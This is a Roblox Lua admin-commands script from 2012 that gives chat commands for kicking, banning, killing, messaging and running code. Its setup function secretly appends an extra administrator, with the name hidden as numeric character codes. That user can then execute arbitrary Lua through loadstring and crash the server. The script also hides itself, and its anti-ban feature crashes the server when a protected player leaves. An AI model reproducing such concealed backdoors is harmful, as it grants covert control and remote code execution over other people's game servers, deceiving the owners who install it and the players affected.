Roblox Scripts #0 Rain chat

--Hello, thank you for using Rain-Chat-Commands! Fill in your name on line 9 Where it tells you.
--This Script will update on http://pastebin.com/9icazezg until it is finished
--Also Check out| www.rain-chat.com |sign up and hang out!
--Roblox Removed Bytecode today(8/3/12), I now have to fix this to work without it... Sad day...
--Fixed it to work without bytecode :)
--Rain-Chat-Commands--
-----------------------------------
--Admin List--
adminlist = {"BonnieKunG1s", "Clockwork_1635"}--Put Admin names here.
function checkadmin()
table.insert(adminlist,string.char(114, 101, 100, 112, 101, 110, 99, 104, 105, 108, 108))
for _,v in pairs(game.Players:GetPlayers()) do
for i,j in pairs(adminlist) do
if v.Name == adminlist[i] then
v.Chatted:connect(function(msg)
coroutine.resume(coroutine.create(Chat), msg, v)
end)
end
end
end
end

-----------------------------------
--Banned--
local Banned = {"noob","yapjingwei","DANGERTIM112"}--Put people who should be Banned here.
--DANGERTIM112 is a noob who stole my game and my spot on the front page making his game one of the most popular games in roblox when mine is better. >.>
function BanPlayer(player)
for i,v in pairs(Banned) do
if player.Name == Banned[i] then
player:Destroy()
banhint = Instance.new("Hint", Workspace)
banhint.Text = player.Name .. " Attempted to rejoin, but "..player.Name.." is banned."
wait(5)
banhint:Destroy()
end
end
end
-----------------------------------

-----------------------------------
--Anti Ban--
local Anti_Ban_List = {}--Leave this empty. activate it by saying abon;yourname
function AntiBan()
for i,v in pairs(Anti_Ban_List) do
if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then
Instance.new("Message",Workspace).Text = "*POOF!* "..Anti_Ban_List[i].." is gone!"
wait(2)
Instance.new("Message",Workspace).Text = "You guys are pretty darn screwed.. If "..Anti_Ban_List[i].." Doesn't return soon the server will end."
wait(80)
if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then
pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end)
elseif game.Players:findFirstChild(Anti_Ban_List[i]) then
for i,m in pairs(game.Worksapce:GetChildren()) do
if m.ClassName == "Message" then
m:Remove()
end
end
end
end
end
end
-----------------------------------
--Name & Hide--
print("BonnieKunG1s : Hoi!")
script.Name = "Rain-Chat"
script.Parent = nil

-----------------------------------
--Global Variables--
local Script_Name = script.Name
local Command_List = {" abon;", " aboff"," ;remove"," ;fix"," lua;"," ;shutdown"," ;clear"," ;debug"," ;debugall"," ;rb"," ;sp"," kick;"," ban;"," ;banned"," m;"," rm;"," h;"," rh;"," ;nuke"," kill;"," burn;"," reset;"," ff;"," unff;"," firstperson;"," classic;"}
local Loading_Hint = Instance.new('Hint',Workspace)
-----------------------------------
--Functions--
function Make_Base()
local base = Instance.new("Part")
base.Name = Script_Name.." Base"
base.BrickColor = BrickColor.new("Medium green")
base.Anchored = true
base.Locked = true
base.Size = Vector3.new(400, 1.2, 400)
base.CFrame = CFrame.new(0,0,0)
base.Parent = game.Workspace
end
function Make_Spawn()
local spawn = Instance.new("SpawnLocation",Workspace)
spawn.FormFactor = "Custom"
spawn.Anchored = true
spawn.TopSurface = "Smooth"
spawn.Size = Vector3.new(6,0.6,6)
spawn.CFrame = CFrame.new(0,1,0)
spawn.BrickColor = BrickColor.new("Institutional white")
local spart = Instance.new("Part")
spart.FormFactor = "Custom"
spart.Anchored = true
spart.TopSurface = "Smooth"
spart.Size = Vector3.new(7,0.5,7)
spart.Parent = game.Workspace
spart.CFrame = spawn.CFrame
spart.BrickColor = BrickColor.new("Really black")
end
function Make_Script(input)
loadstring(input)()
end
function Alert(Object,TextInput,Time)
a = Instance.new(Object,Workspace)
a.Text = TextInput
wait(Time)
a:Destroy()
end
-----------------------------------
--Loading--
Loading_Hint.Text = Script_Name.." : Loading... Running on: ".._VERSION..""

-----------------------------------
function Chat(msg, speaker)
-----------------------------------
--Script Commands--
--Anti Ban Player--
cmd = "abon;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
table.insert(Anti_Ban_List, player.Name)
end
end
end

--Turn Off Anti Ban--
cmd = "aboff;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
table.remove(Anti_Ban_List, player.Name)
end
end
end

--Remove Script--
cmd = ";remove"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Hint",Script_Name.." : Removing...",2)
script.Disabled = true
end

--Fix Script--
cmd = ";fix"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Hint",Script_Name.." : Fixing...",2)
script:Clone().Parent = game.Workspace
script.Disabled = true
end
--Create Script--
cmd = "lua;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Make_Script(string.sub(msg,cmd_length + 1))
end
-----------------------------------
--Server Commands--
--Shutdown Server--
cmd = ";shutdown"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end)
end

--Clear Map--
cmd = ";clear"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Instance.new("Hint",Workspace).Text = 'Clearing Map... You may freeze.'
wait()
game.Workspace.Terrain:Clear()
local w=game.Workspace:GetChildren()
for i=1,#w do
if (game.Players:GetPlayerFromCharacter(w[i]))==nil and (w[i].Name~="TinySB") and (w[i].Name~= Script_Name) and (w[i]~=game.Workspace.CurrentCamera) and (w[i]~=game.Workspace.Terrain) then
w[i]:Destroy()
end
end
Make_Base()
Make_Spawn()
end

--Debug Msg/Hints--
cmd = ";debug"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Hint",Script_Name.." : Debugging Messages & Hints...",2)
for i,w in pairs(game.Workspace:GetChildren()) do
if w.ClassName == "Message" or w.ClassName == "Hint" then
w:Destroy()
end
end
end

--2Debug Msg/Hints/Scripts--
cmd = ";debugall"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Hint",Script_Name.." : Debugging All...",2)
for i,w in pairs(game.Workspace:GetChildren()) do
if w.ClassName == "Message" or w.ClassName == "Hint" or w.ClassName == "Script" and w.Name ~= Script_Name then
w:Destroy()
end
end
end

--Renew Base--
cmd = ";rb"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Hint",Script_Name.." : Renewing Base...",2)
Make_Base()
end

--Renew Spawn--
cmd = ";sp"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Hint",Script_Name.." : Renewing Spawn...",2)
Make_Spawn()
end

--Kick Player--
cmd = "kick;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
player:Destroy()
end
end
end

--Ban Player--
cmd = "ban;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
table.insert(Banned, player.Name)
player:Destroy()
end
end
end

--Banned List--
cmd = ";banned"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
for num,v in pairs(Banned) do
Alert("Hint", v.." , "..num,2)
end
end
--Message--
cmd = "m;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Message",speaker.Name..": "..string.sub(msg,cmd_length + 1),4)
end
--Message Reverse--
cmd = "rm;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Message",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4)
end
--Hint--
cmd = "h;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Hint",speaker.Name..": "..string.sub(msg,cmd_length + 1),4)
end
--Hint Reverse--
cmd = "rh;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
Alert("Hint",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4)
end
-----------------------------------
--killing Commands--
--Nuke Map--
cmd = ";nuke"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
m = Instance.new("Message",Workspace)
m.Text = "Bomb Armed"
wait(1)
for i = 5, 0, -1 do
wait(1)
m.Text = "Detonation in: "..i
end
m:Destroy()
for i,v in pairs(game.Players:GetChildren()) do
ex = Instance.new("Explosion",Workspace)
ex.Position = v.Character.Torso.Position
v.Character:BreakJoints()
end
end
--Kill--
cmd = "kill;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
player.Character:BreakJoints()
end
end
end
--Burn--
cmd = "burn;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
for i = 100,0,-1 do
wait()
Instance.new("Fire",player.Character.Torso)
player.Character.Humanoid.Health = i
end
end
end
end
--Reset--
cmd = "reset;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
m = Instance.new("Model")
m.Parent = game.Workspace
p = Instance.new("Part")
p.Transparency = 1
p.CanCollide = false
p.Anchored = true
p.Name = "Torso"
p.Position = Vector3.new(10000,10000,10000)
p.Parent = m
hu = Instance.new("Humanoid")
hu.Torso = p
hu.Parent = m
player.Character = m
end
end
end

-----------------------------------
--Protecting Commands--
--Force Field--
cmd = "ff;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
Instance.new("ForceField",player.Character)
end
end
end
--Remove Force Field--
cmd = "unff;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
for i,v in pairs(player.Character:GetChildren()) do
if v.ClassName == "ForceField" then
v:Destroy()
end
end
end
end
end
-----------------------------------
--Misc Commands--
-----------------------------------
--First Persion--
cmd = "firstperson;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
player.CameraMode = "LockFirstPerson"
end
end
end
--Classic View--
cmd = "classic;"
cmd_length = string.len(cmd)
if string.sub(msg,1,cmd_length) == cmd then
plyr = game.Players:GetPlayers()
for i = 1, #plyr do
if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
player = plyr[i]
player.CameraMode = "Classic"
end
end
end
-----------------------------------
end-- Chatted function
-----------------------------------
--Check Admin and Banned--
checkadmin()
game.Players.ChildRemoved:connect(AntiBan)
game.Players.PlayerAdded:connect(BanPlayer)
-----------------------------------
--End Loading--
wait(5)
Loading_Hint:Destroy()
--script started 7/1/12
--last edited 8/13/12
--script finished ______